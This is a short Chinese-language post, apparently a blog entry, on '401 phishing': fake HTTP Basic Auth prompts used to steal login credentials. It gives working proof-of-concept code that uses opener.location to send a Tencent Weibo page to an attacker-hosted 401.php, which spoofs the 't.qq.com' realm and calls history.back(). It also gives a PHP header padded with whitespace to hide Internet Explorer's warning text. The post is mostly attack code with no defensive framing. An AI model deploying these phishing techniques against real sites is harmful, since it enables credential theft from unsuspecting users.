前段时间401钓鱼很火,大部分呢是通过向网页插入一个401地址的图片进行钓鱼.但这种方法对于chrome和不支持外链图片的站来说,例如:微博.

反向401钓鱼:

反向401的意思是通过opener.location反向控制调用页地址到401钓鱼页面.

poc:

opener.location='http://mmme.me/401.php'

close();

401.php:

<?php


header('WWW-Authenticate: Basic realm="t.qq.com"');
?>
<script>
history.back();//返回到腾讯微博

</script>

缺点:IE不支持.

IE空白符缺陷:

由于IE的401询问框设计错误,导致我们可以在服务器响应的认证提示信息后面追加大量的空白符将后面的默认内容挤掉,达到欺骗的目的.

POC:

<?php


header('WWW-Authenticate: Basic realm="t.qq.com                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "');
